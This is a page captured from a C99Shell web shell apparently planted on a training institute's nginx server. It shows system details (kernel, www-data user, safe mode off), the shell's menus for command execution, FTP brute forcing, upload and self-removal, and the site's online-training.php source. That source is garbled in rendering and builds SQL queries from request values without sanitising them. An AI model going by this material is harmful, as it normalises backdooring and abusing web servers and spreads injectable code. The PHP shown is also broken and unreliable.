!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 39.75 GB of 48.28 GB (82.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     online-training.php (13.44 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
include 'header.php';
 
$u_id
if (isset(
$_GET['alert'])) {
    echo 
'<script>alert("Registration Successfull!")</script>';
}
//$id = $_SESSION['fav'];
//echo $id;
$adjacents 3;
/*
  First get total number of rows in data table.
  If you have a WHERE clause in your query, make sure you mirror it here.
 */
$total_pages_sql $con->query("SELECT COUNT(*) as total FROM course_details ");
$result mysqli_fetch_assoc($total_pages_sql);
$total_pages $result['total'];
if (isset(
$_GET['page'])) {
    
$page $_GET['page'];
} else {
    
$page 1;
}
/* Setup vars for query. */
$limit 8;         //how many items to show per page
if ($page)
    
$start = ($page 1) * $limit;    //first item to display on this page
else
    
$start 0;        //if no page var is given, set start to 0
    /* Get data. */
// $query = "SELECT * FROM course_details LIMIT $start, $limit";
    
$query "SELECT * FROM course_details where course_type=0 ORDER by priority ASC LIMIT $start$limit";
$coursepackages $con->query($query);
/* Setup page vars for display. */
if ($page == 0)
    
$page 1;     //if no page var is given, default to 1.
$prev $page 1;       //previous page is page - 1
$next $page 1;       //next page is page + 1
$lastpage ceil($total_pages $limit);  //lastpage is = total pages / items per page, rounded up.
$lpm1 $lastpage 1;      //last page minus 1
/*
  Now we apply our rules and draw the pagination object.
  We're actually saving the code to a variable in case we want to draw it more than once.
 */
$pagination "";
if (
$lastpage 1) {
    
$pagination .= "<div class=\"pagination\" style='float: right;'>";
    
//previous button
    
if ($page 1)
        
$pagination .= "<a href=\"?page=$prev\">Previous</a>";
    else
        
$pagination .= "<a class=\"disabled\">Previous</a>";
    
//pages
    
if ($lastpage + ($adjacents 2)) { //not enough pages to bother breaking it up
        
for ($counter 1$counter <= $lastpage$counter++) {
            if (
$counter == $page)
                
$pagination .= "<a href='#' class=\"current\">$counter</a>";
            else
                
$pagination .= "<a href=\"?page=$counter\">$counter</a>";
        }
    }
    elseif (
$lastpage + ($adjacents 2)) { //enough pages to hide some
        //close to beginning; only hide later pages
        
if ($page + ($adjacents 2)) {
            for (
$counter 1$counter + ($adjacents 2); $counter++) {
                if (
$counter == $page)
                    
$pagination .= "<a href='#' class=\"current\">$counter</a>";
                else
                    
$pagination .= "<a href=\"?page=$counter\">$counter</a>";
            }
            
$pagination .= "...";
            
$pagination .= "<a href=\"?page=$lpm1\">$lpm1</a>";
            
$pagination .= "<a href=\"?page=$lastpage\">$lastpage</a>";
        }
        
//in middle; hide some front and some back
        
elseif ($lastpage - ($adjacents 2) > $page && $page > ($adjacents 2)) {
            
$pagination .= "<a href=\"?page=1\">1</a>";
            
$pagination .= "<a href=\"?page=2\">2</a>";
            
$pagination .= "...";
            for (
$counter $page $adjacents$counter <= $page $adjacents$counter++) {
                if (
$counter == $page)
                    
$pagination .= "<a href='#' class=\"current\">$counter</a>";
                else
                    
$pagination .= "<a href=\"?page=$counter\">$counter</a>";
            }
            
$pagination .= "...";
            
$pagination .= "<a href=\"?page=$lpm1\">$lpm1</a>";
            
$pagination .= "<a href=\"?page=$lastpage\">$lastpage</a>";
        }
        
//close to end; only hide early pages
        
else {
            
$pagination .= "<a href=\"?page=1\">1</a>";
            
$pagination .= "<a href=\"?page=2\">2</a>";
            
$pagination .= "...";
            for (
$counter $lastpage - (+ ($adjacents 2)); $counter <= $lastpage$counter++) {
                if (
$counter == $page)
                    
$pagination .= "<a href='#' class=\"current\">$counter</a>";
                else
                    
$pagination .= "<a href=\"?page=$counter\">$counter</a>";
            }
        }
    }
    
//next button
    
if ($page $counter 1)
        
$pagination .= "<a href=\"?page=$next\">Next</a>";
    else
        
$pagination .= "<a class=\"disabled\">Next</a>";
    
$pagination .= "</div>\n";
}
?>
<!-- <div class="pageloader">
    <p>LOADING...</p>
</div> -->
<style type="text/css">
    .txt
  {
    font-size: 14px;
    line-height: 25px;
    text-align: justify;
    color: #333;
  }
</style>
<section class="project-banner">
    <div class="container">
        <div class="banner-sec">
            <div class="projectheading">
                <h1 style="text-transform: uppercase;">Online Training</h1>
            </div>
        </div>
    </div>
</section>
<section class="on-training">
    <div class="container">
        <div class="row">
         <div class="col-lg-12">
            <p class="txt">
            Srishti Campus offers Online Software training in various fields like web development in PHP and .net, Mobile app development in Android & iOS, Hybrid App Development, Web Frameworks.

            We offer Job Oriented Online Software training, Software Internships, Academic Project assistance with all documentation support, Live project experiences etc to help various audiences who join Srishti to polish their career. The Online Software training program is aimed at creating professionals who will be the industry demand. Srishti Campus provides the best online software training in Kerala, India. We focus on 100% job placement to the candidates who join Srishti Campus.
            </p>
         </div>
        </div>

        <div class="row">
            <div class="col-12">
                
                <div class="online-tr">
                    <?php
//$packages = "SELECT * FROM course_details LIMIT $offset, $no_of_records_per_page";
//$packagesResult = mysqli_query($con, $packages) or die("database error:". mysqli_error($con));
                    
while ($packages mysqli_fetch_assoc($coursepackages)) {
                        
?>
                        <div class="online-itemas">
                            <div class="trainng-img">
                                <?php
                                
echo '<img src="./packageImages/' $packages['image'] . '"  alt="srishti campus ' $packages['name'] . ' trivandrum" Title="' $packages['name'] . ' "/>';
                                
?>
                            </div>
                            <div class="training-description">
                                <h3 class="training"> <?php echo $packages['name']; ?> </h3>
                                <div class="dur-tr">
                                    <ul>
                                        <?php
                                        $course_type
=$packages['course_type'];
                                        if(
$course_type==0)
                                        {
                                            
?>
                                          <!-- <li><i class="fas fa-rupee-sign" aria-hidden="true"></i><?php //echo $packages['cost']; ?> </li> -->
                                        <li><i class="fas fa-clock"></i><?php echo $packages['hour']; ?></li>
                                        <li><i class="fas fa-user-graduate"></i> <?php echo $packages['placement']; ?>% placement</li>  
                                        <?php
                                        
}
                                        if(
$course_type==1)
                                        {
                                        
?>
                                          
                                        <li><i class="fas fa-clock"></i><?php echo $packages['hour']; ?></li>
                                        <li><i class="fas fa-user-graduate"></i> <?php echo $packages['placement']; ?>% placement</li>  
                                        <?php
                                        
}
                                        
?>
                                        
                                    </ul>
                                </div>
                                <div class="training-ul">
                                    <div class="heiBx">
                                        <p class="desps">
                                            <?php echo $packages['description']; ?>
                                        </p>
                                        <div class="dur-tr rateParts">
                                            <div class="rating_list">
                                                <a href="comments.php?tech=<?php echo $packages['technology']?>">
                                                <?php
                                                $ratinguery 
"SELECT AVG(rating) AS avg FROM reviews where technology=".$packages['technology']." ";
                                                
$ratingResult mysqli_query($con$ratinguery) or die("database error:" mysqli_error($conn));
                                                while (
$rating mysqli_fetch_assoc($ratingResult)) {
                                                    for (
$i 1$i <= 5$i++) {
                                                        
$ratingClass "far";
                                                        if (
$i <= ceil($rating['avg'])) {
                                                            
$ratingClass "fas";
                                                        }
                                                        
?>
                                                       
                                                        <span class=" fa-star  <?php echo $ratingClass?>" aria-hidden="true"></span>
                                                        <!-- </a> -->
                                                    <?php ?>
                                                </a>
                                            </div>
                                                <div class="comments_list">
                                                    <i class="fas fa-comments" aria-hidden="true"></i>
                                                    <!-- <div class="dur-tr"> -->
                                                    <?php
                                                    
echo '<a href="https://www.google.com/search?q=srishti+campus&oq=srishti+campus&aqs=chrome..69i57j46i175i199j0j0i22i30l2j69i60l2j69i65.2764j0j7&sourceid=chrome&ie=UTF-8#lrd=0x3b05b95e87b42537:0x5d73d1ce107e6a53,1,,," target="_blank">Comments </a>';
                                                    
?>
                                                    <!-- </div> -->
                                                </div>
                                            <?php ?>
                                        </div>
                                    </div>
                                </div> <!-- training-ul end -->
                                <div class="view-details">
                                    <?php
                                    
if (!empty($u_id)) {
                                        echo 
'<a class="view-training" href="'.$baseurl.'course/' $packages['url_code'] . '">View Details </a>';
                                        echo 
'<a class="view-training entroll-training" href="enroll.php?id=' $packages['id'] . '">ENROLL NOW </a>';
                                    } else {
                                        
?>
                                        <a class="view-training" href="<?php echo $baseurl;?>course/<?php echo $packages['url_code'];?>"> View Details </a>
                                       <!--  <a class="view-training" href="#" data-toggle="modal" data-target="#exampleModal">View Details</a> -->
                                        <!-- <a class="view-training entroll-training" href="#" data-toggle="modal" data-target="#exampleModal">ENROLL NOW</a> -->
                                        <a class="view-training entroll-training" href="https://www.srishticampus.com/login-new-login.php" >ENROLL NOW</a>

                                    <?php }
                                    
?>
                                </div>
                            </div><!-- training-description end -->
                        </div>
                    <?php ?>
                </div>
                <?= $pagination ?>
                <br><br><br>
                 <!-- <div class="course-packages col-sm-12" style="padding: 0% 3% 1%;width: 100%;">
                    <?php
                   $uery 
"SELECT id,name,url_code FROM course_details order by name ASC ";
                   
$course_Result mysqli_query($con$uery) or die("database error:" mysqli_error($con));
                   while (
$course mysqli_fetch_assoc($course_Result)) {
                       
?>
                       <a class="view-training" href="<?php echo $baseurl?>course/<?php echo $course['url_code']; ?>"> <?php echo $course['name']; ?></a>
                       <?php
                   
}
                   
?>
               </div> -->
            </div>
        </div>
    </div>
</section>
<?php include 'footer.php'?>
<!-- Optional JavaScript -->

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0063 ]--